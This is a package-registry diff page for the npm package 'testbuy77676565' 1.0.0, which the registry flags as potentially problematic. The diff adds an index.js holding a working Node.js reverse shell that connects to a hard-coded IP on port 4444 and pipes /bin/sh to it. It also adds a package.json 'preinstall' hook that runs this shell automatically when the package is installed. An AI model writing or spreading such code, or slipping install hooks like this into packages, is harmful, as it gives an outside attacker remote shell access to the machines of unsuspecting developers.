testbuy77676565 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testbuy77676565 might be problematic. Click here for more details.
- package/index.js +40 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
|
4
|
+
const HOST = "134.209.149.207"; // Replace with the attacker's IP
|
5
|
+
const PORT = 4444; // Match this with the listener port
|
6
|
+
|
7
|
+
function reverseShell() {
|
8
|
+
const client = new net.Socket();
|
9
|
+
|
10
|
+
client.connect(PORT, HOST, () => {
|
11
|
+
console.log("Connected to the attacker.");
|
12
|
+
|
13
|
+
// Spawn a shell
|
14
|
+
const shell = spawn("/bin/sh", []);
|
15
|
+
|
16
|
+
// Pipe input/output between shell and attacker
|
17
|
+
client.pipe(shell.stdin);
|
18
|
+
shell.stdout.pipe(client);
|
19
|
+
shell.stderr.pipe(client);
|
20
|
+
|
21
|
+
// Handle shell closure
|
22
|
+
shell.on("close", () => {
|
23
|
+
console.log("Shell closed. Exiting...");
|
24
|
+
client.end();
|
25
|
+
});
|
26
|
+
});
|
27
|
+
|
28
|
+
client.on("error", (err) => {
|
29
|
+
console.error("Connection error:", err.message);
|
30
|
+
// Exit instead of reconnecting
|
31
|
+
client.destroy();
|
32
|
+
});
|
33
|
+
|
34
|
+
client.on("close", () => {
|
35
|
+
console.log("Connection closed. Not reconnecting.");
|
36
|
+
process.exit(0); // Exit the process to prevent reconnection
|
37
|
+
});
|
38
|
+
}
|
39
|
+
|
40
|
+
reverseShell();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "testbuy77676565",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"description": ""
|
13
|
+
}
|